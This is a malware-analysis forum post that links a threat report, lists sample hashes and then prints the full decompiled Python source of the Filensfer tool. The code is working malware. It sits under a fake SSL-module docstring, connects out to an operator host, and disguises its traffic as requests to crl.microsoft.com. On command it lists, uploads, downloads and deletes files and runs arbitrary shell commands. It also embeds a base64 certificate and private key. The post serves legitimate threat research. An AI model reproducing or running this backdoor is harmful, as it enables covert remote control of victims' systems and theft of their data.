A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #32912  by R136a1
 Tue May 07, 2019 1:31 pm
Article from Symantec: https://www.symantec.com/blogs/threat-i ... ay-exploit

Samples available in VT (attached):
6b1f8b303956c04e24448b1eec8634bd3fb2784c8a2d12ecf8588424b36d3cbc (Filensfer C++ native)
3dbe8700ecd27b3dc39643b95b187ccfd44318fc88c5e6ee6acf3a07cdaf377e (Filensfer Python version)
951f079031c996c85240831ea1b61507f91990282daae6da2841311322e8a6d7 (HTran)

Missing:
cbe23daa9d2f8e1f5d59c8336dd5b7d7ba1d5cf3f0d45e66107668e80b073ac3
53145f374299e673d82d108b133341dc7bee642530b560118e3cbcdb981ee92c
01f53953db8ba580ee606043a482f790082460c8cdbd7ff151d84e03fdc87e42
7bfad342ce88de19d090a4cb2ce332022650abd68f34e83fdc694f10a4090d65
1c9f1c7056864b5fdd491d5daa49f920c3388cb8a8e462b2bc34181cef6c1f9c

Brief analysis of the Python version of Filensfer: https://norfolkinfosec.com/filesnfer-tool-c-python/

As the blog author failed to fully decompile the script, here we go (internal name rsslct.py):
Code: Select all
"""This module provides some more Pythonic support for SSL.

Object types:

  SSLSocket -- subtype of socket.socket which does SSL over the socket

Exceptions:

  SSLError -- exception raised for I/O errors

Functions:

  cert_time_to_seconds -- convert time string used for certificate
                          notBefore and notAfter functions to integer
                          seconds past the Epoch (the time values
                          returned from time.time())

  fetch_server_certificate (HOST, PORT) -- fetch the certificate provided
                          by the server running on HOST at port PORT.  No
                          validation of the certificate is performed.

Integer constants:

SSL_ERROR_ZERO_RETURN
SSL_ERROR_WANT_READ
SSL_ERROR_WANT_WRITE
SSL_ERROR_WANT_X509_LOOKUP
SSL_ERROR_SYSCALL
SSL_ERROR_SSL
SSL_ERROR_WANT_CONNECT

SSL_ERROR_EOF
SSL_ERROR_INVALID_ERROR_CODE

The following group define certificate requirements that one side is
allowing/requiring from the other side:

CERT_NONE - no certificates from the other side are required (or will
            be looked at if provided)
CERT_OPTIONAL - certificates are not required, but if provided will be
                validated, and if validation fails, the connection will
                also fail
CERT_REQUIRED - certificates are required, and will be validated, and
                if validation fails, the connection will also fail

The following constants identify various SSL protocol variants:

PROTOCOL_SSLv2
PROTOCOL_SSLv3
PROTOCOL_SSLv23
PROTOCOL_TLSv1
PROTOCOL_TLSv1_1
PROTOCOL_TLSv1_2

The following constants identify various SSL alert message descriptions as per
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6

ALERT_DESCRIPTION_CLOSE_NOTIFY
ALERT_DESCRIPTION_UNEXPECTED_MESSAGE
ALERT_DESCRIPTION_BAD_RECORD_MAC
ALERT_DESCRIPTION_RECORD_OVERFLOW
ALERT_DESCRIPTION_DECOMPRESSION_FAILURE
ALERT_DESCRIPTION_HANDSHAKE_FAILURE
ALERT_DESCRIPTION_BAD_CERTIFICATE
ALERT_DESCRIPTION_UNSUPPORTED_CERTIFICATE
ALERT_DESCRIPTION_CERTIFICATE_REVOKED
ALERT_DESCRIPTION_CERTIFICATE_EXPIRED
ALERT_DESCRIPTION_CERTIFICATE_UNKNOWN
ALERT_DESCRIPTION_ILLEGAL_PARAMETER
ALERT_DESCRIPTION_UNKNOWN_CA
ALERT_DESCRIPTION_ACCESS_DENIED
ALERT_DESCRIPTION_DECODE_ERROR
ALERT_DESCRIPTION_DECRYPT_ERROR
ALERT_DESCRIPTION_PROTOCOL_VERSION
ALERT_DESCRIPTION_INSUFFICIENT_SECURITY
ALERT_DESCRIPTION_INTERNAL_ERROR
ALERT_DESCRIPTION_USER_CANCELLED
ALERT_DESCRIPTION_NO_RENEGOTIATION
ALERT_DESCRIPTION_UNSUPPORTED_EXTENSION
ALERT_DESCRIPTION_CERTIFICATE_UNOBTAINABLE
ALERT_DESCRIPTION_UNRECOGNIZED_NAME
ALERT_DESCRIPTION_BAD_CERTIFICATE_STATUS_RESPONSE
ALERT_DESCRIPTION_BAD_CERTIFICATE_HASH_VALUE
ALERT_DESCRIPTION_UNKNOWN_PSK_IDENTITY
"""
import ssl, socket, select, os, re, sys, threading, subprocess, time, struct, random, zlib, signal, ctypes, tempfile, base64
__all__ = [
 'SendPacket', 'RecvPacket', 'LoadCert']
MyQueue = []
BUFFER_LEN = 8192
LISTEN_MAXCOUNT = 80
bQueue = False
tranSpeed = 0
DefaultDir = ''
SIGNASTR = '3F53BC9A64A363921BD0B6B660A3605A'
REQUEST_HEADER = 'GET / HTTP/1.1\r\nHost: crl.microsoft.com\r\nConnection: close\r\nCookie: MUID=%s\r\n\r\n' % SIGNASTR
RESPONSE_HEADER = 'HTTP/1.1 404 OK\r\nServer: Apache\r\nContent-Length: 21\r\n\r\n<h1>Not Found.</h1>\r\n'
Lock = threading.RLock()

class Enum(tuple):
    __getattr__ = tuple.index


class DirItem:

    def __init__(self, mtime=0, isDir=False, filelen=0, filename=''):
        self.m_mtime = mtime
        self.m_isDir = isDir
        self.m_filelen = filelen
        self.m_filename = filename
        self.m_State = False
        self.struct_str = '?Q?Q260s'

    def __repr__(self):
        return self.toString()

    def __str__(self):
        return self.toString()

    def __len__(self):
        return struct.calcsize(self.struct_str)

    def toString(self):
        if self.m_isDir:
            self.m_filelen = 0
        return struct.pack(self.struct_str, self.m_State, self.m_mtime, self.m_isDir, self.m_filelen, self.m_filename)

    def unpack(self, buf):
        if len(buf) != struct.calcsize(self.struct_str):
            return False
        self.m_State, self.m_mtime, self.m_isDir, self.m_filelen, self.m_filename = struct.unpack(self.struct_str, buf)
        tmpname = self.m_filename
        index = tmpname.find('\x00')
        if index >= 0:
            self.m_filename = tmpname[:index]
        return True

    def pack(self, mtime, isDir, filelen, filename):
        self.m_mtime = mtime
        self.m_isDir = isDir
        self.m_filelen = filelen
        self.m_filename = filename
        self.m_State = False
        return self.toString()

    def clear(self):
        self.m_mtime = 0
        self.m_isDir = False
        self.m_filelen = 0
        self.m_filename = ''
        self.m_State = False


class TransArgs:

    def __init__(self, Order=0, Speed=0, bZip=True, Length=0, Path=''):
        self.m_Order = Order
        self.m_Speed = Speed
        self.m_bZip = bZip
        self.m_Length = Length
        self.m_Path = Path
        self.struct_str = 'ii?Q1024s'

    def toString(self):
        self.bZip = True
        return struct.pack(self.struct_str, self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path)

    def __repr__(self):
        return self.toString()

    def __str__(self):
        return self.toString()

    def __len__(self):
        return struct.calcsize(self.struct_str)

    def unpack(self, buf):
        if len(buf) != struct.calcsize(self.struct_str):
            return [-1, 0, True, 0, '']
        self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path = struct.unpack(self.struct_str, buf)
        tmppath = self.m_Path
        index = tmppath.find('\x00')
        if index >= 0:
            self.m_Path = tmppath[:index]
        return [self.m_Order, self.m_Speed, self.m_bZip, self.m_Length, self.m_Path]

    def pack(self, Order, Speed, bZip, Length, Path):
        self.m_Order = Order
        self.m_Speed = Speed
        self.m_bZip = bZip
        self.m_Length = Length
        self.m_Path = Path
        return self.toString()

    def clear(self):
        self.m_Order = 0
        self.m_Speed = 0
        self.m_bZip = True
        self.m_Length = 0
        self.m_Path = ''


def print_log(xtype, pstr, btime=True):
    pass


def Recv(sock, size, timeout=3, bLoop=True):
    nRet = 0
    Bufdata = ''
    try:
        while nRet < size:
            if not monitor.status():
                sock.close()
                break
            bErr = False
            readfds, writefds, errfds = select.select([sock], [], [sock], timeout)
            if not (readfds or errfds):
                if not bLoop:
                    break
                else:
                    continue
            for rs in readfds:
                if rs is sock:
                    tmpbuf = sock.recv(size - nRet)
                    nRet = nRet + len(tmpbuf)
                    Bufdata += tmpbuf
                    if len(tmpbuf) <= 0:
                        return -1

            for es in errfds:
                bErr = True
                break

            if bErr:
                break

    except:
        sock.close()

    return Bufdata


def SendPacket(sock, buf):
    iResult = 0
    Bufdata = ''
    SendLen = 0
    Bufdata = zlib.compress(buf)
    SendLen = len(Bufdata)
    try:
        sock.send(struct.pack('i', SendLen))
        iResult = sock.send(Bufdata)
    except socket.error:
        pass
    except:
        pass

    return iResult


def RecvPacket(sock, size=0):
    iResult = 0
    Bufdata = ''
    strlen = ''
    try:
        strlen = Recv(sock, 4)
        RecvLen = struct.unpack('i', strlen)[0]
        Bufdata = Recv(sock, RecvLen)
    except:
        pass
    else:
        buf = ''
        try:
            buf = zlib.decompress(Bufdata)
        except zlib.error as e:
            pass

    return buf


def GenFileName(strFile):
    pref = os.path.splitext(strFile)[0]
    ext = os.path.splitext(strFile)[1]
    index = 1
    Path = strFile
    while os.path.exists(Path):
        Path = '%s-%02d%s' % (pref, index, ext)
        index = index + 1

    return Path


def UnitConv(fSize):
    strView = ''
    if fSize < 1024:
        strView = '%d B' % fSize
    else:
        if fSize < 1048576:
            strView = '%0.2f KB' % (fSize / 1024.0)
        else:
            if fSize < 1073741824:
                strView = '%0.2f MB' % (fSize / 1048576.0)
            else:
                strView = '%0.2f GB' % (fSize / 1073741824.0)
    return strView


def PutFileData(pSocket, sourceFile, Length, types=0, lLen=0, Speeds=10485760, bZip=True):
    try:
        rdf = open(sourceFile, 'rb')
    except:
        return 0
    else:
        if Speeds <= 0 or Speeds > 10485760:
            Speeds = 10485760
        lSize = Length
        nSize = lLen
        Buffer = ''
        dwTick = 0
        ntime = 0
        nCount = 0.0
        nTotal = lSize + 0.0
        dwTick = ntime = time.time()
        nResult = 2
        try:
            while True:
                Buffer = ''
                rdf.seek(nSize)
                Buffer = rdf.read(BUFFER_LEN)
                buf_len = len(Buffer)
                if buf_len <= 0:
                    break
                nSize += buf_len
                nCount += buf_len
                if Speeds > 0:
                    if nCount >= Speeds * 1024 * 2:
                        time.sleep(2 - (time.time() - ntime))
                if time.time() - ntime >= 2:
                    ntime = time.time()
                    if types == 0:
                        print_log(ltype.normal, '[*] File upload %0.2f%%, Speed:%s/s%10s\r' % (nSize / nTotal * 100, UnitConv(nCount / 2), ''))
                    nCount = 0
                nRet = 0
                if bZip:
                    nRet = SendPacket(pSocket, Buffer)
                else:
                    nRet = pSocket.send(Buffer)
                if nRet <= 0:
                    rdf.close()
                    if types == 0 and nSize < nTotal:
                        print_log(ltype.error, 'Send not complete!')
                    if nSize < nTotal:
                        return 1

            if types == 0:
                dwTick = time.time() - dwTick
                dwTick = 1 if dwTick <= 0 else dwTick
                print_log(ltype.success, 'Taks %d seconds, an average speed of %s/s, Download the complete!\n' % (1 if dwTick < 1 else dwTick, UnitConv(nTotal / dwTick if dwTick > 1 else nTotal)))
        except Exception as e:
            print_log(ltype.error, "'PutFileData' exception: %s" % e)
            nResult = 1

    rdf.close()
    return nResult


def GetFileData(gSocket, destFile, Length, types, lLen, bZip=True):
    Result = 2
    wtf = None
    try:
        if lLen > 0:
            wtf = open(destFile, 'ab+')
        else:
            wtf = open(destFile, 'wb+')
    except:
        return 0
    else:
        lSize = Length
        Buffer = ''
        dwTick = 0
        ntime = 0
        nCount = 0.0
        nTotal = Length + 0.0
        dwTick = ntime = time.time()
        lSize -= lLen
        bLen = BUFFER_LEN
        try:
            while lSize > 0:
                Buffer = RecvPacket(gSocket, bLen if lSize > bLen else lSize)
                nRet = len(Buffer)
                if nRet <= 0:
                    wtf.close()
                    if types == 0 and lSize > 0:
                        print_log(ltype.error, 'Recv file not complete!\n')
                    if lSize > 0:
                        break
                    nRet = 0
                lSize -= nRet
                nCount += nRet
                if types == 0:
                    if time.time() - ntime > 2:
                        ntime = time.time()
                        print_log(ltype.normal, '[*] File download %0.2f%%, Speed:%s/s%10s\r' % ((1 - lSize / nTotal) * 100, UnitConv(nCount / 2), ''), True)
                        nCount = 0
                wtf.write(Buffer)

            if types == 0:
                dwTick = time.time() - dwTick
                dwTick = 1 if dwTick <= 0 else dwTick
                print_log(ltype.success, 'Takes %d seconds, an average speed of %s/s, Download the complete!\n' % (1 if dwTick < 1 else dwTick, UnitConv(nTotal / dwTick if dwTick > 1 else nTotal)))
        except Exception as e:
            print_log(ltype.error, "'GetFileData' exception: %s\n" % e)
            Result = 1

    wtf.close()
    return Result


def SendDirList(sock, filepath):
    findpath = ''
    matchstr = ''
    pattern = None
    Separator = '\\' if os.name == 'nt' else '/'
    if os.path.isdir(filepath):
        findpath = filepath
    else:
        if os.path.exists(filepath):
            item = DirItem()
            stat = os.lstat(filepath)
            item.m_mtime = stat[8]
            item.m_filelen = stat[6]
            item.m_filename = os.path.basename(filepath)
            SendPacket(sock, str(item))
            item.clear()
            item.m_State = True
            SendPacket(sock, str(item))
            return
        if filepath.find('*') >= 0 or filepath.find('?') >= 0:
            ix = filepath.rfind(Separator)
            if ix <= 0:
                item = DirItem()
                item.m_State = True
                SendPacket(sock, str(item))
                return
            findpath = filepath[:ix]
            matchstr = filepath[ix + 1:]
        else:
            item = DirItem()
            item.m_State = True
            SendPacket(sock, str(item))
            return
    if len(matchstr) > 0:
        pattern = re.compile(matchstr.replace('.', '\\.').replace('*', '.*').replace('?', '.?') + '$', re.IGNORECASE)
    dlist = os.listdir(findpath)
    for fs in dlist:
        if pattern:
            if not re.match(pattern, fs):
                continue
        item = DirItem()
        path = os.path.abspath(findpath + Separator + fs)
        if os.path.isdir(path):
            item.m_isDir = True
        stat = os.lstat(path)
        item.m_mtime = stat[8]
        item.m_filelen = stat[6]
        item.m_filename = fs
        SendPacket(sock, str(item))

    item = DirItem()
    item.m_State = True
    SendPacket(sock, str(item))
    return


def ServerLoopPro(sock):
    global DefaultDir
    CurrentDir = DefaultDir
    Separator = '\\' if os.name == 'nt' else '/'
    packlen = struct.calcsize('ii?L1024s')
    host, port = sock.getpeername()
    try:
        while True:
            if not monitor.status():
                sock.close()
                break
            strpack = RecvPacket(sock)
            RecvArg = TransArgs()
            Order, iSpeed, bZip, Length, path = RecvArg.unpack(strpack)
            filePath = ''
            if Order != 205:
                filePath = os.path.abspath(path)
            if Order == 200:
                print_log(ltype.warning, "%s:%d dir '%s' list.\n" % (host, port, filePath))
                SendDirList(sock, filePath)
            elif Order == 201:
                print_log(ltype.warning, "%s:%d download file '%s'.\n" % (host, port, filePath))
                if not os.path.exists(filePath):
                    fileLen = 0
                else:
                    fileLen = os.path.getsize(filePath)
                RecvArg.clear()
                tmppack = RecvArg.pack(Order, iSpeed, bZip, fileLen, '')
                SendPacket(sock, tmppack)
                tmppack = RecvPacket(sock)
                localLen = RecvArg.unpack(tmppack)[3]
                iOrder = RecvArg.unpack(tmppack)[0]
                if iOrder == 0:
                    continue
                PutFileData(sock, filePath, 0, 1, localLen, iSpeed, bZip)
            elif Order == 202:
                print_log(ltype.warning, "%s:%d upload file '%s'.\n" % (host, port, filePath))
                localLen = 0
                RemoteLen = Length
                TempFile = '%s.CT' % filePath
                if os.path.exists(TempFile):
                    localLen = os.path.getsize(TempFile)
                RecvArg.clear()
                tmppack = RecvArg.pack(Order, iSpeed, bZip, localLen, '')
                SendPacket(sock, tmppack)
                if GetFileData(sock, TempFile, RemoteLen, 1, localLen, bZip) == 2:
                    SaveFile = GenFileName(filePath)
                    os.rename(TempFile, SaveFile)
            elif Order == 204:
                print_log(ltype.warning, "%s:%d delete file '%s'.\n" % (host, port, filePath))
                resCode = 0
                if not os.path.exists(filePath):
                    resCode = 403
                else:
                    if os.path.isdir(filePath):
                        resCode = 400
                    else:
                        try:
                            os.remove(filePath)
                            resCode = 1
                        except:
                            resCode = 0

                sock.send(struct.pack('i', resCode))
            elif Order == 205:
                result = ''
                sendData = TransArgs()
                path = 'cd %s%s %s %s' % ('/d ' if os.name == 'nt' else '', CurrentDir, '&' if os.name == 'nt' else ';', path)
                if not bZip:
                    sendData.m_Order = 205
                    try:
                        os.popen(path)
                    except Exception as e:
                        sendData.m_Order = 0
                        sendData.m_Path = str(e)

                    SendPacket(sock, str(sendData))
                    continue
                pstd = subprocess.Popen(path, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
                for line in pstd.stdout.readlines():
                    result += line

                l = len(result)
                i = 0
                while True:
                    sendData.clear()
                    if i >= l:
                        break
                    sendData.m_Order = 205
                    tmp = result[i:i + 1022]
                    i += 1022
                    sendData.m_Path = tmp
                    SendPacket(sock, str(sendData))

                sendData.clear()
                sendData.m_Order = 0
                SendPacket(sock, str(sendData))
            elif Order == 206:
                nClose = 0
                if tmObj.isAlive():
                    nClose = tmObj.get_value()
                sock.send(struct.pack('i', nClose))
            elif Order == 207:
                nRet = 0
                if iSpeed > 1:
                    if tmObj.isAlive():
                        nRet = 1
                        tmObj.set_value(iSpeed)
                sock.send(struct.pack('i', nRet))
            elif Order == 208:
                nRet = 0
                if os.path.isdir(path):
                    nRet = 1
                    CurrentDir = os.path.abspath(path)
                DefaultDir = CurrentDir
                os.chdir(DefaultDir)
            elif Order == 209:
                pass
            elif Order == 210:
                RecvArg.clear()
                RecvArg.m_Order = Order
                RecvArg.m_Path = CurrentDir
                SendPacket(sock, str(RecvArg))
            elif Order == 999:
                sock.send(struct.pack('L', 999))
            else:
                sock.send('Error, Byebye!\n')

        sock.close()
    except:
        print_log(ltype.error, '%s:%d An established connection was aborted.\n' % (host, port))

    return 0


def ServerX(host, port):
    global DefaultDir
    print_log(ltype.normal, '---------- Transfer File Server ----------\n')
    if len(DefaultDir) <= 0:
        DefaultDir = os.path.abspath('.')
    crtf = hCert.get_crt()
    keyf = hCert.get_key()
    while True:
        if not monitor.status():
            break
        sockSrv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sockSrv.connect((host, port))
            sockSrv = ssl.wrap_socket(sockSrv, server_side=True, certfile=crtf, keyfile=keyf)
            peerList = sockSrv.getpeername()
            VerifyStr = Recv(sockSrv, len(REQUEST_HEADER), 5, False)
            if VerifyStr.find(SIGNASTR) <= 0:
                with Lock:
                    print_log(ltype.warning, '%s:%d Validation fails.\n' % peerList)
                sockSrv.send(RESPONSE_HEADER)
                sockSrv.close()
                continue
        except KeyboardInterrupt:
            print_log(ltype.warning, 'User interrupt operation.\n')
            monitor.close()
            sys.exit()
        except Exception as e:
            print_log(ltype.error, str(e) + '\n')
            continue
        else:
            print_log(ltype.success, '%s:%d Successfully connected.\n' % peerList)
            hThread = threading.Thread(target=ServerLoopPro, args=(sockSrv,))
            hThread.start()


class LoadCert(object):

    def __init__(self):
        self.__crt_path = ''
        self.__key_path = ''
        self.__crt = 'Q2VydGlmaWNhdGU6CiAgICBEYXRhOgogICAgICAgIFZlcnNpb246IDMgKDB4MikKICAgICAgICBTZXJpYWwgTnVtYmVyOiAxICgweDEpCiAgICBTaWduYXR1cmUgQWxnb3JpdGhtOiBzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgogICAgICAgIElzc3VlcjogQz1VUywgU1Q9QkEsIE89Um9vdCwgT1U9Um9vdCwgQ049Um9vdAogICAgICAgIFZhbGlkaXR5CiAgICAgICAgICAgIE5vdCBCZWZvcmU6IEZlYiAyMCAyMToyODoyNyAyMDE3IEdNVAogICAgICAgICAgICBOb3QgQWZ0ZXIgOiBGZWIgMjAgMjE6Mjg6MjcgMjAxOCBHTVQKICAgICAgICBTdWJqZWN0OiBDPVVTLCBTVD1CQSwgTz1Sb290LCBPVT1Sb290LCBDTj1Sb290CiAgICAgICAgU3ViamVjdCBQdWJsaWMgS2V5IEluZm86CiAgICAgICAgICAgIFB1YmxpYyBLZXkgQWxnb3JpdGhtOiByc2FFbmNyeXB0aW9uCiAgICAgICAgICAgICAgICBQdWJsaWMtS2V5OiAoMTAyNCBiaXQpCiAgICAgICAgICAgICAgICBNb2R1bHVzOgogICAgICAgICAgICAgICAgICAgIDAwOmJjOmU2OmFlOjkzOjA0OjA4OjZhOjE2OmQ0OmI4Ojg4OjEzOjg3OjI3OgogICAgICAgICAgICAgICAgICAgIDQ4OjQ4OjM5OmRmOjdiOjFiOjcyOmNkOjBlOmMyOmY2OjhkOjY5OmZkOjc1OgogICAgICAgICAgICAgICAgICAgIGU4OjMxOmIyOmRiOjdiOjE1OmQ2OmEyOmQxOjk5OjNhOjljOmI2OjRiOmVmOgogICAgICAgICAgICAgICAgICAgIGE5OjlmOjkwOjhhOjAzOjM1OmY0OjRlOjM2OmUyOjgwOjQxOmI5OjBmOjU3OgogICAgICAgICAgICAgICAgICAgIDRkOmRiOmU0Ojc4OmQ3OjhiOmVlOjA2OmUxOjRiOmMzOjdjOjAwOjljOjU5OgogICAgICAgICAgICAgICAgICAgIGQyOjg4OjRjOjAzOjUxOjUzOmZmOmIyOjdiOjU4OjFiOmYyOjRmOmNjOmVlOgogICAgICAgICAgICAgICAgICAgIDY0OmIxOmY0OjEyOmQ1OjE5OmEwOmRjOjM5OjEyOjliOjRmOjVlOmJlOjVkOgogICAgICAgICAgICAgICAgICAgIGZiOjA1OjZlOjU3Ojc3OjRiOjI2OjE3OjYyOmUyOmY3OmU1OjZiOmM1OjI4OgogICAgICAgICAgICAgICAgICAgIGI0OjQxOjg4OmRiOmI1OjVkOmRlOmViOjlkCiAgICAgICAgICAgICAgICBFeHBvbmVudDogNjU1MzcgKDB4MTAwMDEpCiAgICAgICAgWDUwOXYzIGV4dGVuc2lvbnM6CiAgICAgICAgICAgIFg1MDl2MyBCYXNpYyBDb25zdHJhaW50czogCiAgICAgICAgICAgICAgICBDQTpGQUxTRQogICAgICAgICAgICBOZXRzY2FwZSBDb21tZW50OiAKICAgICAgICAgICAgICAgIE9wZW5TU0wgR2VuZXJhdGVkIENlcnRpZmljYXRlCiAgICAgICAgICAgIFg1MDl2MyBTdWJqZWN0IEtleSBJZGVudGlmaWVyOiAKICAgICAgICAgICAgICAgIDY2OkY4Ojc3OjYwOjlBOkY2OkM3OjVDOkM1OjQzOkVGOkUxOjJGOjY3OjE2Ojc1OjlCOjE0OkIxOjA2CiAgICAgICAgICAgIFg1MDl2MyBBdXRob3JpdHkgS2V5IElkZW50aWZpZXI6IAogICAgICAgICAgICAgICAga2V5aWQ6RUY6Rjg6NTM6QzU6RTc6Rjk6RDc6MTI6RUQ6NTA6OTA6OEQ6Qjc6M0M6NEI6QUE6MDk6QkM6RDc6RTgKCiAgICBTaWduYXR1cmUgQWxnb3JpdGhtOiBzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgogICAgICAgICA2ZDpjNTo0OTpiZTpkYTpiYzoyNDoyMDo0NTo0MToxMDo3Njo3YjpkODozYjo3ZTpiNjpkODoKICAgICAgICAgN2M6NDY6NjI6MGI6ODg6YjA6NjY6MGI6OTY6NGE6YWE6OWU6MzE6NjE6OTY6NjI6NmY6NDg6CiAgICAgICAgIDgwOjA0OjAyOjQ0OmVlOjk4OjViOjBiOjNjOjljOmQ5OmJjOmVhOmVlOmQyOjBmOjQ1OmJlOgogICAgICAgICBkMToyNTphMTpkODpkOTo1ZjplYjozODpkMzpjMzowNDo4Njo0YzpkYjpiYzo1Zjo0OTo4YzoKICAgICAgICAgNjY6YzA6YTc6OTk6ODM6M2U6NWM6ZDc6YTg6N2M6OTA6MzQ6YTI6Yjk6ZmQ6OTg6M2U6MDM6CiAgICAgICAgIDI0OjQ5Ojc2OmVkOmY3OmM3OjRmOmY4OjYwOjNiOmJjOmM1OjFiOmNlOmE0OjYzOmJjOjY4OgogICAgICAgICA0ODozOTo1OTowNTozODo1NTo0ZTo1ZDpiODo3NDo1ZTphMzo0Zjo5ODpmZTpkZDoxYjo3YToKICAgICAgICAgYmI6MTMKLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUNmekNDQWVpZ0F3SUJBZ0lCQVRBTkJna3Foa2lHOXcwQkFRc0ZBREJITVFzd0NRWURWUVFHRXdKVlV6RUwKTUFrR0ExVUVDQXdDUWtFeERUQUxCZ05WQkFvTUJGSnZiM1F4RFRBTEJnTlZCQXNNQkZKdmIzUXhEVEFMQmdOVgpCQU1NQkZKdmIzUXdIaGNOTVRjd01qSXdNakV5T0RJM1doY05NVGd3TWpJd01qRXlPREkzV2pCSE1Rc3dDUVlEClZRUUdFd0pWVXpFTE1Ba0dBMVVFQ0F3Q1FrRXhEVEFMQmdOVkJBb01CRkp2YjNReERUQUxCZ05WQkFzTUJGSnYKYjNReERUQUxCZ05WQkFNTUJGSnZiM1F3Z1o4d0RRWUpLb1pJaHZjTkFRRUJCUUFEZ1kwQU1JR0pBb0dCQUx6bQpycE1FQ0dvVzFMaUlFNGNuU0VnNTMzc2JjczBPd3ZhTmFmMTE2REd5MjNzVjFxTFJtVHFjdGt2dnFaK1FpZ00xCjlFNDI0b0JCdVE5WFRkdmtlTmVMN2diaFM4TjhBSnhaMG9oTUExRlQvN0o3V0J2eVQ4enVaTEgwRXRVWm9OdzUKRXB0UFhyNWQrd1Z1VjNkTEpoZGk0dmZsYThVb3RFR0kyN1ZkM3V1ZEFnTUJBQUdqZXpCNU1Ba0dBMVVkRXdRQwpNQUF3TEFZSllJWklBWWI0UWdFTkJCOFdIVTl3Wlc1VFUwd2dSMlZ1WlhKaGRHVmtJRU5sY25ScFptbGpZWFJsCk1CMEdBMVVkRGdRV0JCUm0rSGRnbXZiSFhNVkQ3K0V2WnhaMW14U3hCakFmQmdOVkhTTUVHREFXZ0JUditGUEYKNS9uWEV1MVFrSTIzUEV1cUNielg2REFOQmdrcWhraUc5dzBCQVFzRkFBT0JnUUJ0eFVtKzJyd2tJRVZCRUhaNwoyRHQrdHRoOFJtSUxpTEJtQzVaS3FwNHhZWlppYjBpQUJBSkU3cGhiQ3p5YzJienE3dElQUmI3UkphSFkyVi9yCk9OUERCSVpNMjd4ZlNZeG13S2VaZ3o1YzE2aDhrRFNpdWYyWVBnTWtTWGJ0OThkUCtHQTd2TVVienFSanZHaEkKT1ZrRk9GVk9YYmgwWHFOUG1QN2RHM3E3RXc9PQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg=='
        self.__key = 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDWFFJQkFBS0JnUUM4NXE2VEJBaHFGdFM0aUJPSEowaElPZDk3RzNMTkRzTDJqV245ZGVneHN0dDdGZGFpCjBaazZuTFpMNzZtZmtJb0ROZlJPTnVLQVFia1BWMDNiNUhqWGkrNEc0VXZEZkFDY1dkS0lUQU5SVS8reWUxZ2IKOGsvTTdtU3g5QkxWR2FEY09SS2JUMTYrWGZzRmJsZDNTeVlYWXVMMzVXdkZLTFJCaU51MVhkN3JuUUlEQVFBQgpBb0dBYUlkWjZONWRiWjh1bk9JbnRDMG5rVmY4ODFsd0FFcC8xZ0RRdXNHSStCOVoxbFZ5VE95ZzFzOHJEUUFVCm84aE9wcEl2bXl4Qnora09aNC9POUxRTHJYN1BpVDlZaUkvYitVd2hTYzVvMGVVL1BpTE9oQXNwZ0hXUzIzYlkKYjFXNjBFNEhoN3pmTVVuVG9rU1pxWEpycFZJWTBGbGpRbVB4OEdPUHVPcUhOZDBDUVFEcWZ1RDc2cUw5YTJ2LwphZ29Xb1dHclM3WXdSS3B0aTEwWWtDMERUUmxLTFN5amF5N1FTM0NMS1VpVEpGQXUwcWhlUUtOR2NYcXVsRUdLCm4vOUNDVjZ6QWtFQXpqbG9CUmMwUlh3T3BSNDVZa3VsOWdWY1ZTYmRQSWIzN1pUNnlieHIzVVhOR1prQ3U3L1EKZDQ4bDZuZ2dtOHlpVGZ3WlBPK2EzWHk3ei9QalltTzBid0pBTFZoRnAxRXpIWEFsWFNtak04Y1hQT21TSEhsYQp2MzRnalh4cngrU2p6RTA2QVl2YmJKbjU5RjhTVXFuRis1ZnV5UE1VMzYxWC9PUmNYRE1lU0NYSnN3SkJBSk1sCkx1MkM4dzhwUjZIVmdRaDhCYjBYY2h4b0VLL2hkZ0lWclNSSXg0WXBDZ0ZieGpHRTJoQ1ZHVzdGckM2K3dvaDIKZXVPWjY1eGlKZmhwZ3pOdkJRMENRUUN5WVVLUzMrRGt6S3Buc1JkbEIwR3IvR1RSR0lZZzFhTWhycldhcW82YQp5NDJnUXdxWnBPZG9TYVhKdEp6ZjUrQkd3U1VsNXc5YjR0cFMyZ2cvaWNvUAotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQo='

    def get_crt(self):
        tmppath = tempfile.mktemp()
        with open(tmppath, 'wb') as (f):
            f.write(base64.b64decode(self.__crt))
        self.__crt_path = tmppath
        return tmppath

    def get_key(self):
        tmppath = tempfile.mktemp()
        with open(tmppath, 'wb') as (f):
            f.write(base64.b64decode(self.__key))
        self.__key_path = tmppath
        return tmppath

    def clean(self):
        os.remove(self.__crt_path)
        os.remove(self.__key_path)


def handler(signum, frame):
    monitor.close()
    hCert.clean()
    print_log(ltype.warning, 'Receive a signal %d, program will exit.\n' % signum)
    sys.exit(0)


class Monitor:

    def __init__(self):
        self._bConnect = True
        self._lock = threading.RLock()

    def close(self):
        self._lock.acquire()
        self._bConnect = False
        self._lock.release()

    def status(self):
        return self._bConnect


class Timer(threading.Thread):

    def __init__(self, Interval=0):
        self._interval = Interval * 60
        threading.Thread.__init__(self)

    def set_value(self, Interval):
        self._interval = Interval * 60

    def get_value(self):
        return self._interval / 60

    def run(self):
        while self._interval > 0:
            if not monitor.status():
                break
            time.sleep(1)
            self._interval = self._interval - 1

        monitor.close()


if __name__ == '__main__':
    signal.signal(signal.SIGINT, handler)
    signal.signal(signal.SIGTERM, handler)
    ltype = Enum(['success', 'normal', 'warning', 'error'])
    monitor = Monitor()
    tmObj = Timer()
    hCert = LoadCert()
    argLen = len(sys.argv)
    if argLen < 3:
        sys.exit(0)
    arg = sys.argv
    iMutex = 0
    bServer = 0
    destIP = ''
    destPort = 0
    for i in range(1, argLen):
        if arg[i] == '-s':
            iMutex += 1
            bServer = 1
            if argLen > i + 1 and arg[i + 1] != '':
                host = arg[i + 1].split(':')
                if len(host) != 2:
                    print_log(ltype.error, '%s -s host:port\n' % sys.argv[0], False)
